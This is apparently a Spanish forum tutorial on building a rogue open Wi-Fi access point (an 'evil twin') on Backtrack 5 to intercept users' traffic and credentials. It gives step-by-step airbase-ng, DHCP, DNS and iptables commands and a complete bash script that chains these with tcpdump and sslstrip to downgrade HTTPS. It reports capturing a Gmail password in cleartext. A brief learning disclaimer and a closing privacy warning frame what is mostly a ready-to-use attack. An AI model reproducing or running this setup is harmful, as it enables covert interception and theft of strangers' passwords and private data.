Bueno vamos a ver la facilidad de montar un Punto de acceso falso (wifi-falso) para capturar todo el tráfico y las credenciales de los usuarios, así como: webs que visitan, imágenes, contraseñas…
vean el video para que seden una idea el programa que se usa en el video creo que es WifiSlax , pero este tutorial esta hecho en backtrack .
¿Qué es un punto de acceso?
Un punto de acceso inalámbrico o AP (Access Point) es un dispositivo que permite la conexión inalámbrica de un equipo móvil de cómputo (ordenador, tableta, smartphone) con una red. Generalmente los puntos de acceso tienen como función principal permitir la conectividad con la red, delegando la tarea de ruteo y direccionamiento a servidores, routers y switches. La mayoría de los AP siguen el estándar de comunicación 802.11 de la IEEE lo que permite una compatibilidad con una gran variedad de equipos inalámbricos.
¿Realmente navegamos seguros en redes wifi?
Vamos a demostrar la facilidad de montar un Punto de acceso falso (Fake AP) para capturar todo el tráfico y las credenciales de los usuarios, así como: webs que visitan, imágenes, contraseñas…
Todo lo realizado a continuación es a modo de aprendizaje, no nos hacemos responsable del mal uso que un usuario le pueda dar.
Requisitos:
Adaptador Wifi (con soporte modo monitor).
Antena Wifi.
Linux Backtrack 5 (ISO o CD).
VirtualBox (Si usamos Backtrack en CD Live no seria necesario).
Conexión a Internet.
Software usado:
Aircrack-ng (para crear punto de acceso falso con airbase-ng)
dhcp3-server (para asignar ips privadas a los clientes que se conecten) – Opcional
bind9 o dnsmasq (para resolver nombres de dominio)
iptables (para redireccionar el tráfico y hacer ip forward)
tar (para desempaquetar archivos tar)
python (para usar ssltrip)
ssltrip (para obtener credenciales)
tcpdump (para capturar el tráfico) – Opcional
WireShark (para analizar las capturas) – Opcional
NetworkMiner (para extraer datos de las capturas de forma automatizada)
– Iniciar máquina virtual o CD Live:
Lo primero que necesitamos es crear una máquina virtual con la imagen ISO de Backtrack 5 o iniciar desde un CD Live.
Si usamos Backtrack 5 desde máquina virtual con VirtualBox debemos asociar el adaptador Wifi USB a la máquina virtual desde el menú:
Dispositivos >> Dispositivos USB >> “Nombre de nuestro adaptador Wifi USB”
Backtrack 5 por defecto trae el idioma del teclado en inglés, por comodidad si lo queremos poner en español, ejecutamos este comando:
Código:
[color=#000000][color=#000000][color=#000000]setxkbmap -layout es[/color][/color][/color]
– Instalar software necesario
Una vez iniciado Backtrack 5 necesitamos instalar un servidor DHCP (dhcp3-server) para asignar IPs privadas a los clientes y un servidor DNS (dnsmasq o bind) para la resolución de nombres de dominio.
Instalamos el servidor DHCP:
Código:
[color=#000000][color=#000000][color=#000000]apt-get install dhcp3-server[/color][/color][/color]
Instalamos el servidor DNS (en este ejemplo hemos usado dnsmasq pero se podría usar bind9 también):
Código:
[color=#000000][color=#000000][color=#000000]apt-get install dnsmasq[/color][/color][/color]
– Establecer el adaptador wifi en modo monitor
Nos aseguramos de tener el adaptador wifi conectado correctamente usando el comando:
Dependiendo del dispositivo puede que no aparezca wlan0 y se muestre con otro nombre. Para saber si es una interfaz wifi debe aparecer: 802.11.
Necesitamos establecer el adaptador Wifi en modo monitor para poder montar el punto de acceso.
Modo monitor:
Código:
[color=#000000][color=#000000][color=#000000]airmon-ng start wlan0[/color][/color][/color]
Hay varias formas para poner el adaptador en modo monitor pero es recomendable usar airmon-ng ya que este nos crea una nueva interfaz llamada mon0, mon1, mon2…
– Crear punto de acceso wifi falso
Una vez que tengamos nuestro adaptador wifi en modo monitor, creamos el punto de acceso, donde debemos especificar el nombre de la red, el canal wifi a usar y la interfaz en modo monitor (creada anteriormente). Crearemos una red abierta sin contraseña.
Código:
[color=#000000][color=#000000][color=#000000]airbase-ng -P -C 2 -c <canal> --essid <nombre de la red> <interfaz modo monitor>[/color][/color][/color]
-P: Responde a todos los escaneos de redes wifi.
-C: Especifica cada cuantos segundos se envían beacons para anunciar el nombre de la red.
-c: Canal wifi.
–essid: Nombre de la red.
Por ejemplo:
Código:
[color=#000000][color=#000000][color=#000000]airbase-ng -P -C 2 -c 6 --essid "Security Null" mon0[/color][/color][/color]
*Canal: 6
*Nombre de la red: Security Null
*Interfaz monitor: mon0
*Nombre de la red: Security Null
*Interfaz monitor: mon0
Una vez creado el punto de acceso falso, airbase-ng nos habrá creado una nueva interfaz llamada at0 (podemos verificarlo usando el comando ifconfig). Ahora asignamos una dirección IP y máscara de subred a esta nueva interfaz (esta interfaz es por la que pasará todo el tráfico de la red wifi).
Código:
[color=#000000][color=#000000][color=#000000]ifconfig at0 <direccion ip> netmask <máscara de subred> up[/color][/color][/color]
– Instalar e iniciar SSLTrip
Por último solo nos quedaría instalar ssltrip. Esta herramienta actúa como un servidor proxy y se encarga de detectar cuando un usuario esta accediendo a una web a través de HTTPS y reemplaza HTTPS por HTTP, de esta forma capturamos el tráfico sin cifrar.
*Algunos servidores solo dejan entrar a través de HTTPS, con lo cual puede que no sirva para todos.
Descargamos la herramienta de la web del creador:
Automatizando el proceso
Para automatizar todo este proceso hemos creado un script en bash que lo realiza todo de forma automática y mucho más rápido:
Código:
[color=#000000][color=#000000][color=#000000]#!/bin/bash # Settingswlan_interface="wlan0"interface_monitor="mon0"internet_interface="eth0"essid="SecurityNull"ap_channel=6network="192.168.2.0"ip="192.168.2.1"mask="255.255.255.0"ip_start="192.168.2.50"ip_end="192.168.2.100" if [ "$UID" -ne 0 ]then echo "[!] Require ROOT!!" exit 0fi apt-get install dhcp3-server#apt-get install bind9apt-get install dnsmasq # Interface Mode Monitorairmon-ng stop $interface_monitorairmon-ng start $wlan_interfacesleep 3 # Fake APkillall airbase-ngxterm -e airbase-ng -P -C 2 -c $ap_channel --essid "$essid" $interface_monitor &sleep 3 ifconfig at0 $ip netmask $mask up#ifconfig at0 $ip/24 up # DHCP Serverecho "ddns-update-style none;option domain-name-servers $ip;default-lease-time 60;max-lease-time 72;authoritative;log-facility local7;subnet $network netmask $mask {range $ip_start $ip_end;option routers $ip;option domain-name-servers $ip;}" > /etc/dhcp3/dhcpd.confkillall dhcpd3/etc/init.d/dhcp3-server stopdhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 # DNS Serverecho "listen-address=192.168.2.1,127.0.0.1#interface=at0#dhcp-range=$ip_start,$ip_end,$mask,12h#log-dhcp#dhcp-authoritative" > /etc/dnsmasq.confkillall dnsmasq/etc/init.d/dnsmasq stopxterm -e dnsmasq -a $ip -d -i at0 -z -C /etc/dnsmasq.conf -I lo & #killall bind9#/etc/init.d/bind9 restart # IP Routing#sysctl net.ipv4.ip_forward=1echo 1 > /proc/sys/net/ipv4/ip_forward # IPTablesiptables -t nat -Fiptables -t nat -A PREROUTING -i $internet_interface -j REDIRECTiptables -t nat -A POSTROUTING -o $internet_interface -j MASQUERADEiptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 # TCP Dumpxterm -e tcpdump -w dump.pcap -i at0 & # SSL Tripif [ ! -d "sslstrip-0.9" ]; then wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz tar -xvzf sslstrip-0.9.tar.gzficd sslstrip-0.9python ./setup.py installsslstrip -w ../ssl.cap -l 8080[/color][/color][/color]
*Script desarrollado para Linux Backtrack 5, en Kali fue probado y no funciona, se tendría que modificar para adaptarlo.
Antes de ejecutarlo debemos darle permisos de ejecución:
Código:
[color=#000000][color=#000000][color=#000000]chmod 755 fakeap.sh[/color][/color][/color]
Ejecutamos el script:
Código:
[color=#000000][color=#000000][color=#000000]./fakeap.sh[/color][/color][/color]
*SE NECESITAN PERMISOS ‘ROOT’ PARA SU EJECUCIÓN.
*No requiere de ningún parámetro, para modificar alguna opción se deben modificar las variables del principio del script.
Una vez ejecutado el script se abrirán otras 3 ventanas donde se verán los clientes asociados, la asignación de direcciones IP privadas de DHCP…
A esperar…
Ahora solo nos tocaría esperar a que un cliente se conecte…
En la ventana donde tenemos ejecutándose airbase-ng nos aparecerán los clientes asociados.
Pruebas
Realizamos una prueba y creamos un punto de acceso falso, donde conectamos a una cuenta de gmail usando HTTPS, podemos ver la captura de ssltrip, y vemos que aparece la contraseña sin cifrar:
Captura SSLTrip
También podemos ver información abriendo la captura con Wireshark:
Pero como podemos ver usando herramientas como NetworkMiner, con esta herramienta podemos analizar una captura y extraer información sensible de forma más automatizada que usando Wireshark, como por ejemplo: host a donde nos hemos conectado, archivos e imágenes descargadas, sesiones, credenciales…
De esta forma no solo evitamos el HTTPS sino que obtendríamos contraseñas de redes sociales, páginas visitadas y mucha más información.
Conclusión :
Si realmente te importa tu privacidad, jamás te conectes a una red abierta sin tomar las medidas de protección necesarias, ya que aunque ni siquiera naveguemos en la red, nuestro dispositivo comprueba actualizaciones, el correo electrónico, las redes sociales que tengamos abiertas en segundo plano o incluso si tenemos WhastApp, todo esto realizado de forma automática y quedaría registrado por un atacante.
FUENTES